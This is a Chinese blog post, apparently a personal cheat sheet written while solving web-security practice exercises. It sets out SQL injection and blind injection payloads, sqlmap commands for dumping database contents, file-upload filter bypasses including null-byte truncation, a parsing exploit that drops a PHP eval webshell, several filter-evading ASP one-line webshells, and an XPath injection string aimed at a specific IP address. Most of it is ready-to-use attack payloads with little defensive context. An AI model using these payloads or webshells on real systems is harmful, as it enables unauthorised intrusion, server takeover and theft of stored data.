码迷,mamicode.com
首页 > 数据库 > 详细

sql注入

时间:2018-05-12 02:59:41      阅读:208      评论:0      收藏:0      [点我收藏+]

标签:null   target   web   取数据   解析   查看   strong   成功   creat   

首先判断该注入点是怎么闭合的,常用的是,‘),‘)),",再利用and 1=2,and 1=1判断闭合是否正确

sql注入常用语句:

普通语句:schema_name——数据库名;table_name——表名;column_name——字段名;

查询数据库:select schema_name from information_schema.schemata--+

查询数据库表:select table_name from information_schema.tables where table_schema=‘数据库名‘--+

查询字段名:select column_name from infromation_columns where table_name=‘表名‘--+

查询字段内容:select * from 表名--+

盲注语句:

先介绍几个常用的函数:

left(a,b)-----查询a中数据,返回b个字符

substr(s,n,len)------从字符串s中返回一个长度同len字符相同的字符串,起始于位置n,另外要注意的是,该函数起始位置是1,不是0

CAST函数:语法规则是:Cast(字段名 as 转换的类型 ),进行数据类型转换

limit a,b--------a决定返回第几行的数据,而b决定返回几行数据

ORD() 函数:ORD() 函数返回字符串第一个字符的

MySQL IFNULL函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL,则返回第一个参数。 否则,IFNULL函数返回第二个参数。

ascii----返回asciii值

Regexp:是一个正则表达式

接下来就是盲注常用的语句了:

查看数据库名字长度:id=1‘ and length(database())=8 %23

猜解数据库名字:id=1‘ and left(database(),1)>‘r‘ %23

不断地将1增加,猜出其余的字符,这里的大于号可以换成等于号(假如你能猜到数据库的名字大致是哪几个,可以直接换成=)

猜解数据库表:id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1))>80 %23     不断地将1增加,猜出其余的字符

猜解列名:id=1‘ and 1=(select 1 from information_schema.columns where table_name=‘emails‘ and column_name regexp ‘^email_id‘ limit 0,1)--+  可将红色部分替换[a-z],确定列名

猜解字段中的内容:id=1‘ and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+

sql注入工具——sqlmap

经常使用的语句:

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --current-db                                                                                      #获取当前数据库名称

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --tables -D "db_name"                                                                     #列表名

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --columns -T "tablename" users-D "db_name" -v 0                        #列字段

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0    #获取字段内容

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" --dump -T "表名"                                 #获取字段内容

下面是我做题的一些过程:

文件上传:

抓包->修改文件后缀名。如果这种方法不可用:制作图片木马->上传->抓包->修改文件后缀名

上述不行:修改文件后缀名,如果服务器是Linux可以尝试在文件名后面再加一个“.abc”:apache是从右往左识别文件名的,如果“.abc”识别不出来就会往左识别;也可以修改文件名的大小写,或者直接.php2

文件上传的绕过:https://blog.csdn.net/c465869935/article/details/51800354

Iis解析漏洞:目录解析漏洞,在以.asp结尾的目录下的文件都会被当作asp文件来执行  文件名解析漏洞:从左向右解析

IIS7.07.5Nginx<8.03畸形解析漏洞(写webshell漏洞)

原理:在上传文件所在目录下创建一个一句话木马文件

实现过程:新建一个1.txt文件,内容为<?php fputs(fopen(‘shell.php‘,‘w‘),‘<?php @eval($_POST[test])?>‘)?>,将文件保存成1.jpg格式,上传到服务器,假设上传路径为/upload,

上传成功后,直接访问/upload/1.jpg,此时神奇的畸形解析开始发挥作用啦,我们会神奇的发现/upload目录下创建了一个一句话木马文件shell.php

空字节代码绕过漏洞,也叫神奇的00截断,此处的00指的是16进制的00

文件名00截断:直接上实现过程

1)第一种方法:上传文件名为1.php.jpg格式的图马文件,抓包后,在php后面加上一个空格字符,然后到hex中将php后面的空格字符对应的20改为00后放行即可。

2)第二种方法:上传文件名为1.php%00.jpg格式的图马文件,抓包后,将%00进行url解码后放行即可。

请求包中包含上传目录的,可以尝试对上传目录进行00截断,原理都一样,话不多说,直接上实现过程

实现过程:上传路径/upload/,直接改成/upload/%00,再将%00进行url解码后放行即可

SQL注入实战-MySQL

注入点用base64编码的:用插件tamper 
获取数据表:

技术分享图片

获取字段名:

技术分享图片


获取字段内容:

技术分享图片

WordPress插件漏洞分析溯源

Wpscan:专门扫描wordpress一种扫描器,可以扫描插件漏洞,主题漏洞。根据这些漏洞找到攻击点:找到一个漏洞时,打开链接,根据链接的内容,对网站进行攻击(主要是通过注入找到后台用户名以及登录密码)
Asp一句话防过滤:
2. <%executerequest("YouPass")%>
3. <%execute(request("YouPass"))%>免杀大部分网站的一句话
4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>绕过部分网站过滤<%,%>的一句话
5.<script language=VBScript runat=server>execute request("YouPass")</script>绕过部分网站过滤双引号的一句话
6.<%eval request(YouPass(35))%>php一句话 
Access防注入系统:
在id=1后面添加sql语句,根据页面返回的结果,进行注入。
id=1 and 1=<%eval request(‘aaa‘)%>,发现页面只返回了and1=,将一句话进行编码,然后提交,返回一句话,但是查看sqlin.asp页面时发现被过滤了,被过滤了,网上找了几个放过滤的一句话

技术分享图片

经过尝试第三个可以绕过过滤,再次查看sqlin.asp页面,显示成功插入。
接下来链接菜刀,拿到key

技术分享图片

技术分享图片

Xpath注入:

技术分享图片


http://219.153.49.228:49950/demo.php?name=xml‘]|//*|//*[‘ --+

‘]  为闭合前面的节点
|        为分别执行,符号前后的路径都要查询
//*      为匹配所有节点
//*[‘    为匹配后面的内容
 

X-Forwarded-For注入漏洞实战:

正常的注入无法注入

抓包【这里是将sqlmap和burpsuite结合起来注入,将包中的文件保存到本地,然后利用sqlmap:sqlmap.py -r file.txt --dbs进行注入】

技术分享图片

手动加上X-Forwarded-For

将包中的数据复制粘贴保存到本地,将sqlmap和burpsuite结合起来使用

技术分享图片


利用sqlmap进行注入:
 

技术分享图片

技术分享图片

技术分享图片

技术分享图片

技术分享图片

技术分享图片

技术分享图片

技术分享图片

 


 
 
 
 
 
 
 

sql注入

标签:null   target   web   取数据   解析   查看   strong   成功   creat   

原文地址:https://www.cnblogs.com/xiaoqiyue/p/9026859.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!